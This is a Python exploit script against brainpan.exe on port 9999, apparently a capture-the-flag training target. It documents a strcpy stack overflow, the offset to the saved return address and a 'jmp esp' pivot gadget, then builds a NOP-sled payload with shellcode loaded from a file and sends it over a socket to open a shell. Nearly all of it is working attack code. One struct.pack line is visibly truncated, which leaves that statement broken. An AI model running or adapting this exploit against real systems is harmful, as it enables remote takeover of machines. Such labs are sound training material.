#!/usr/bin/env python3 # --------------------------------------------------------------------------- # exploit.py - brainpan.exe (port 9999) stack overflow exploit # # Vulnerability : main() recv()s the client's answer into a 1000-byte buffer, # then get_reply() blindly strcpy()'s it into a 512-byte # stack buffer ([ebp-0x208]) -> saved EBP at +520, EIP at +524. # # Pivot gadget : brainpan.exe exports _winkwink @ 0x311712f0 # push ebp ; mov ebp,esp ; jmp esp # (PE ImageBase 0x31170000 - fixed under Wine, no ASLR) # # Stack choreography after 'leave; ret' of get_reply: # - saved EIP -> winkwink. After the call-ret pair ESP = &savedEIP + 4 # - 'push ebp' stores our value (must be 0x90909090) into the saved-EIP slot # - 'mov ebp,esp ; jmp esp' -> execution starts at saved-EIP slot: # the 4 NOPs of saved EBP, then slides up through payload[528] (NOP sled) # into the shellcode. Below ESP there are 520+ scratch bytes ('A' pad), # so the shellcode's push/pop operations can use the stack normally. # # Payload layout: # [0 .. 519] "A" * 520 - padding up to saved EBP # [520 .. 523] NOP * 4 - fake saved EBP (executed after pivot) # [524 .. 527] 0x311712f0 (LE) - saved EIP -> winkwink pivot # [528 .. 559] NOP * 32 - landing sled # [560 .. ] shellcode - null-free reverse shell (see scgen.py) # --------------------------------------------------------------------------- import socket import struct import sys import time TARGET = (sys.argv[1] if len(sys.argv) > 1 else "10.231.131.233", 9999) SCFILE = sys.argv[2] if len(sys.argv) > 2 else "shellcode_bind.bin" RET = 0x311712f0 # _winkwink : push ebp ; mov ebp,esp ; jmp esp OVERFLOW_TO_EIP = 524 # 512-byte buffer + 8 bytes locals = offset of saved EBP def build_payload(shellcode: bytes) -> bytes: payload = b"A" * 520 # padding to saved EBP payload += b"\x90" * 4 # fake saved EBP -> 4 NOPs payload += struct.pack(" pivot payload += b"\x90" * 32 # sled payload += shellcode assert b"\x00" not in payload, "NUL in payload would truncate strcpy()" assert len(payload) < 1000, "recv() reads at most 1000 bytes" return payload def main(): sc = open(SCFILE, "rb").read() payload = build_payload(sc) print("[*] target : %s:%d" % TARGET) print("[*] payload : %d bytes (offset to EIP = %d)" % (len(payload), OVERFLOW_TO_EIP)) s = socket.create_connection(TARGET, timeout=10) banner = s.recv(4096) # welcome banner: ">>" s.sendall(payload) # no newline needed: raw recv() time.sleep(0.5) s.close() print("[+] payload delivered - check your listener!") if __name__ == "__main__": main()